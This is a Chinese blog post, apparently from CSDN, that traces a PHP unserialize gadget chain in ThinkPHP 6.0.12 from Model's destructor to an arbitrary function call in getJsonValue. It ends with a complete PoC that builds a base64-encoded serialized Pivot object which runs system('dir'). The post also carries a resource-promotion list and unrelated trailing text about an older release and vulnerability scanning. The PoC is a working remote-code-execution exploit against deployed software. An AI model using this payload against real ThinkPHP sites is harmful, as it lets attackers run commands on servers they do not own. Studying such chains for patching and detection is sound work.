Thinkphp最新版本漏洞分析

环境

Thinkphp6.0.12LTS(目前最新版本);

PHP7.3.4。

安装

composer create-project topthink/think tp6

测试代码

image.png

漏洞分析

漏洞起点不是__desturct就是__wakeup全局搜索下,起点在vendor\topthink\think-orm\src\Model.php

只要把this->lazySave设为True,就会调用了save方法。

image.png

【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

跟进save方法,漏洞方法是updateData,但需要绕过①且让②为True,①调用isEmpty方法。

image.png

public function save(array $data = [], string $sequence = null): bool
    {
        // 数据对象赋值
        $this->setAttrs($data);
        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }
        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

跟进isEmpty方法,只要$this->data不为空就行。

image.png

$this->trigger方法默认返回就不是false,跟进updateData方法。漏洞方法是checkAllowFields默认就会触发。

image.png

protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }
        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }
            return true;
        }
        if ($this->autoWriteTimestamp && $this->updateTime) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }
        // 检查允许字段
        $allowFields = $this->checkAllowFields();

跟进checkAllowFields方法,漏洞方法是db,默认也是会触发该方法,继续跟进。

image.png

protected function checkAllowFields(): array
    {
        // 检测字段
        if (empty($this->field)) {
            if (!empty($this->schema)) {
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
            } else {
                $query = $this->db();

跟进db方法,存在$this->table . $this->suffix字符串拼接,可以触发__toString魔术方法,把$this->table设为触发__toString类即可。

image.png

public function db($scope = []): Query
    {
        /** @var Query $query */
        $query = self::$db->connect($this->connection)
            ->name($this->name . $this->suffix)
            ->pk($this->pk);
        if (!empty($this->table)) {
            $query->table($this->table . $this->suffix);
        }

全局搜索__toString方法,最后选择vendor\topthink\think-orm\src\model\concern\Conversion.php类中的__toString方法。

跟进__toString方法,调用了toJson方法。

image.png

跟进toJson方法,调用了toArray方法,然后以JSON格式返回。

image.png

跟进toArray方法,漏洞方法是getAtrr默认就会触发,只需把$data设为数组就行。

image.png

public function toArray(): array
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]          = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }
        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    [$relation, $name]         = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);

跟进getAttr方法,漏洞方法是getValue,但传入getValue方法中的$value是由getData方法得到的。

image.png

public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);

跟进getData方法,$this->data可控,$fieldName来自getRealFieldName方法。

image.png

跟进getRealFieldName方法,默认直接返回传入的参数。所以$fieldName也可控,也就是传入getValue$value参数可控。

image.png

跟进getValue方法,在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure进行判断。此次漏洞方法的getJsonValue方法。但需要经过两个if判断,$this->withAttr$this->json都可控,可顺利进入getJsonValue方法。
image.png

protected function getValue(string $name, $value, $relation = false)
    {
        // 检测属性获取器
        $fieldName = $this->getRealFieldName($name);

        if (array_key_exists($fieldName, $this->get)) {
            return $this->get[$fieldName];
        }

        $method = 'get' . Str::studly($name) . 'Attr';
        if (isset($this->withAttr[$fieldName])) {
            if ($relation) {
                $value = $this->getRelationValue($relation);
            }
            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);

跟进getJsonValue方法,触发漏洞的点在$closure($value[$key], $value)只要令$this->jsonAssocTrue就行。

$closure$value都可控。

image.png

protected function getJsonValue($name, $value)
    {
        if (is_null($value)) {
            return $value;
        }

        foreach ($this->withAttr[$name] as $key => $closure) {
            if ($this->jsonAssoc) {
                $value[$key] = $closure($value[$key], $value);

完整POP链条

image.png

POC编写

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['dir']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

利用

image.png

image.png

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
V6.0.7版本发布,本版本主要针对上个版本做了一些路由修正,还意外收获了一些性能提升,是一个建议更新的版本。主要更新 修正Validate类的PHP8兼容性 改进redis驱动的append方法 修正路由匹配检测问题 优化路由变量正则规则生成 改进responseView的内容渲染 安装和更新 V6版本开始仅支持Composer安装及更新,支持上个版本的无缝更新,直接使用composer update 更新到最新版本即可。如果需要全新安装,使用:composer create-project topthink/think tpThinkPHP 是一个免费开源的,快速、简单的面向对象的 轻量级PHP开发框架 ,创立于2006年初,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多的原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进,已经成长为国内最领先和最具影响力的WEB应用开发框架,众多的典型案例确保可以稳定用于商业以及门户级的开发。全面的WEB开发特性支持最新的ThinkPHP为WEB应用开发提供了强有力的支持,这些支持包括:MVC支持-基于多层模型(M)、视图(V)、控制器(C)的设计模式ORM支持-提供了全功能和高性能的ORM支持,支持大部分数据库模板引擎支持-内置了高性能的基于标签库和XML标签的编译型模板引擎RESTFul支持-通过REST控制器扩展提供了RESTFul支持,为你打造全新的URL设计和访问体验云平台支持-提供了对新浪SAE平台和百度BAE平台的强力支持,具备“横跨性”和“平滑性”,支持本地化开发和调试以及部署切换,让你轻松过渡,打造全新的开发体验。CLI支持-支持基于命令行的应用开发RPC支持-提供包括PHPRpc、HProse、jsonRPC和Yar在内远程调用解决方案MongoDb支持-提供NoSQL的支持缓存支持-提供了包括文件、数据库、Memcache、Xcache、Redis等多种类型的缓存支持安全性框架在系统层面提供了众多的安全特性,确保你的网站和产品安全无忧。这些特性包括:XSS安全防护表单自动验证强制数据类型转换输入数据过滤表单令牌验证防SQL注入图像上传检测
ThinkPHP是一种基于PHP的开源框架,广泛应用于Web应用程序开发。在线检测ThinkPHP漏洞是为了保证应用程序的安全性和稳定性。以下是一些常用的方法和工具来进行ThinkPHP漏洞的在线检测。 首先,可以使用一些漏洞扫描工具来检测ThinkPHP漏洞。比如,可以使用一些网络安全工具,如AWVS(Acunetix Web Vulnerability Scanner)、Nessus等。这些工具可以扫描整个应用程序,检测可能存在的漏洞。使用这些工具可以自动化地发现潜在的漏洞,并提供相应的修复建议。 其次,可以利用一些已知的漏洞进行测试。ThinkPHP已经存在一些已知的漏洞,黑客们经常会利用这些漏洞进行攻击。因此,可以参考已知的漏洞列表(如CVE等)来进行ThinkPHP漏洞的在线检测。通过模拟黑客攻击的方式,可以测试应用程序是否存在这些漏洞,并及时修复。 另外,可以进行代码审计来检测ThinkPHP漏洞。代码审计是指对应用程序的源代码进行仔细的检查和分析,以发现可能存在的安全漏洞。通过对ThinkPHP框架的代码进行细致的阅读和分析,可以找出潜在的漏洞,并及时修复或加强相应的安全措施。 最后,还可以参考一些安全组织或社区的在线漏洞库,如CNVD(中国国家信息安全漏洞库),CVE(常见漏洞和公共漏洞数据库)等。这些漏洞库中存储了大量的已知漏洞信息,可以帮助开发人员了解ThinkPHP可能存在的漏洞,并及时修复。 总结起来,在线检测ThinkPHP漏洞可以通过使用漏洞扫描工具、利用已知的漏洞进行测试、进行代码审计以及参考安全组织的漏洞库等方式来进行。通过定期的漏洞检测和及时的修复措施,可以确保ThinkPHP应用程序的安全性和稳定性。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值